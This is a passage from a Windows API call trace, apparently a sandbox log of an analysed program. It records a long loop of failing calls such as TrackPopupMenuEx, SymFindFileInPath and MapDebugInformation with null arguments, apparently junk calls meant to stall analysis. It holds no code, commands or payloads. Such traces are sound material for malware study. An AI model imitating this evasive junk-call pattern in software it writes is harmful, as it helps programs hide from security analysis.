param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.281] GetLastError () returned 0x579 [0216.281] SetLastError (dwErrCode=0x579) [0216.281] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.281] SymCleanup (hProcess=0x0) returned 0 [0216.281] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.281] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.281] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.281] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0216.282] GetLastError () returned 0x579 [0216.282] SetLastError (dwErrCode=0x579) [0216.282] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.282] SymCleanup (hProcess=0x0) returned 0 [0216.282] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.282] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.282] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.282] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1231, param_4=343, param_5=0x0, param_6=0x0) returned 0 [0216.282] GetLastError () returned 0x579 [0216.282] SetLastError (dwErrCode=0x579) [0216.282] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.282] SymCleanup (hProcess=0x0) returned 0 [0216.282] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.282] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.282] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.282] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.282] GetLastError () returned 0x579 [0216.282] SetLastError (dwErrCode=0x579) [0216.282] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.282] SymCleanup (hProcess=0x0) returned 0 [0216.282] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.282] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.282] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.282] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.282] GetLastError () returned 0x579 [0216.282] SetLastError (dwErrCode=0x579) [0216.282] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.282] SymCleanup (hProcess=0x0) returned 0 [0216.282] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.282] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.282] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.283] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.283] GetLastError () returned 0x579 [0216.283] SetLastError (dwErrCode=0x579) [0216.283] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.283] SymCleanup (hProcess=0x0) returned 0 [0216.283] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.283] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.283] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.283] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.283] GetLastError () returned 0x579 [0216.283] SetLastError (dwErrCode=0x579) [0216.283] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.283] SymCleanup (hProcess=0x0) returned 0 [0216.283] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.283] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.283] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.283] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1399, param_4=809, param_5=0x0, param_6=0x0) returned 0 [0216.283] GetLastError () returned 0x579 [0216.283] SetLastError (dwErrCode=0x579) [0216.283] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.283] SymCleanup (hProcess=0x0) returned 0 [0216.283] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.283] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.283] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.283] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.283] GetLastError () returned 0x579 [0216.283] SetLastError (dwErrCode=0x579) [0216.284] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.284] SymCleanup (hProcess=0x0) returned 0 [0216.284] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.284] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.284] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.284] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0216.284] GetLastError () returned 0x579 [0216.284] SetLastError (dwErrCode=0x579) [0216.284] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.284] SymCleanup (hProcess=0x0) returned 0 [0216.284] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.284] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.284] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.284] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.284] GetLastError () returned 0x579 [0216.284] SetLastError (dwErrCode=0x579) [0216.284] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.284] SymCleanup (hProcess=0x0) returned 0 [0216.284] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.284] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.284] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.284] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.284] GetLastError () returned 0x579 [0216.284] SetLastError (dwErrCode=0x579) [0216.284] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.284] SymCleanup (hProcess=0x0) returned 0 [0216.284] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.284] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.284] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.285] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=732, param_4=549, param_5=0x0, param_6=0x0) returned 0 [0216.285] GetLastError () returned 0x579 [0216.285] SetLastError (dwErrCode=0x579) [0216.285] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.285] SymCleanup (hProcess=0x0) returned 0 [0216.285] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.285] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.285] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.285] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.285] GetLastError () returned 0x579 [0216.285] SetLastError (dwErrCode=0x579) [0216.285] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.285] SymCleanup (hProcess=0x0) returned 0 [0216.285] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.285] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.285] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.285] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.285] GetLastError () returned 0x579 [0216.285] SetLastError (dwErrCode=0x579) [0216.285] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.285] SymCleanup (hProcess=0x0) returned 0 [0216.285] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.285] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.285] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.285] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.285] GetLastError () returned 0x579 [0216.286] SetLastError (dwErrCode=0x579) [0216.286] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.286] SymCleanup (hProcess=0x0) returned 0 [0216.286] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.286] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.286] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.286] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.286] GetLastError () returned 0x579 [0216.286] SetLastError (dwErrCode=0x579) [0216.286] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.286] SymCleanup (hProcess=0x0) returned 0 [0216.286] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.286] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.286] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.286] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=325, param_4=78, param_5=0x0, param_6=0x0) returned 0 [0216.286] GetLastError () returned 0x579 [0216.286] SetLastError (dwErrCode=0x579) [0216.286] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.286] SymCleanup (hProcess=0x0) returned 0 [0216.286] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.286] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.286] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.286] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.286] GetLastError () returned 0x579 [0216.286] SetLastError (dwErrCode=0x579) [0216.286] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.286] SymCleanup (hProcess=0x0) returned 0 [0216.286] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.286] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.286] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.287] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0216.287] GetLastError () returned 0x579 [0216.287] SetLastError (dwErrCode=0x579) [0216.287] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.287] SymCleanup (hProcess=0x0) returned 0 [0216.287] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.287] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.287] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.287] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.287] GetLastError () returned 0x579 [0216.287] SetLastError (dwErrCode=0x579) [0216.287] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.287] SymCleanup (hProcess=0x0) returned 0 [0216.287] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.287] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.287] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.287] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0216.287] GetLastError () returned 0x579 [0216.287] SetLastError (dwErrCode=0x579) [0216.287] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.287] SymCleanup (hProcess=0x0) returned 0 [0216.287] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.287] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.287] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.287] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=311, param_4=796, param_5=0x0, param_6=0x0) returned 0 [0216.287] GetLastError () returned 0x579 [0216.287] SetLastError (dwErrCode=0x579) [0216.288] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.288] SymCleanup (hProcess=0x0) returned 0 [0216.288] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.288] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.288] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.288] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.288] GetLastError () returned 0x579 [0216.288] SetLastError (dwErrCode=0x579) [0216.288] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.288] SymCleanup (hProcess=0x0) returned 0 [0216.288] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.288] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.288] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.288] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.288] GetLastError () returned 0x579 [0216.288] SetLastError (dwErrCode=0x579) [0216.288] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.288] SymCleanup (hProcess=0x0) returned 0 [0216.288] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.288] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.288] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.288] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.288] GetLastError () returned 0x579 [0216.288] SetLastError (dwErrCode=0x579) [0216.288] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.288] SymCleanup (hProcess=0x0) returned 0 [0216.288] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.288] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.288] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.289] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.289] GetLastError () returned 0x579 [0216.289] SetLastError (dwErrCode=0x579) [0216.289] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.289] SymCleanup (hProcess=0x0) returned 0 [0216.289] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.289] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.289] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.289] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1109, param_4=676, param_5=0x0, param_6=0x0) returned 0 [0216.289] GetLastError () returned 0x579 [0216.289] SetLastError (dwErrCode=0x579) [0216.289] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.289] SymCleanup (hProcess=0x0) returned 0 [0216.289] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.289] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.289] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.289] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.289] GetLastError () returned 0x579 [0216.289] SetLastError (dwErrCode=0x579) [0216.289] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.289] SymCleanup (hProcess=0x0) returned 0 [0216.289] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.289] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.289] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.289] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.289] GetLastError () returned 0x579 [0216.289] SetLastError (dwErrCode=0x579) [0216.289] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.290] SymCleanup (hProcess=0x0) returned 0 [0216.290] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.290] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.290] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.290] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.290] GetLastError () returned 0x579 [0216.290] SetLastError (dwErrCode=0x579) [0216.290] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.290] SymCleanup (hProcess=0x0) returned 0 [0216.290] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.290] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.290] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.290] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.290] GetLastError () returned 0x579 [0216.290] SetLastError (dwErrCode=0x579) [0216.290] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.290] SymCleanup (hProcess=0x0) returned 0 [0218.761] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.761] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.761] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.761] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=890, param_4=690, param_5=0x0, param_6=0x0) returned 0 [0218.761] GetLastError () returned 0x579 [0218.761] SetLastError (dwErrCode=0x579) [0218.761] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.761] SymCleanup (hProcess=0x0) returned 0 [0218.761] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.761] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.761] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.761] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.762] GetLastError () returned 0x579 [0218.762] SetLastError (dwErrCode=0x579) [0218.762] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.762] SymCleanup (hProcess=0x0) returned 0 [0218.762] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.762] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.762] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.762] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.762] GetLastError () returned 0x579 [0218.762] SetLastError (dwErrCode=0x579) [0218.762] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.762] SymCleanup (hProcess=0x0) returned 0 [0218.762] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.762] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.762] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.762] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.762] GetLastError () returned 0x579 [0218.762] SetLastError (dwErrCode=0x579) [0218.762] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.762] SymCleanup (hProcess=0x0) returned 0 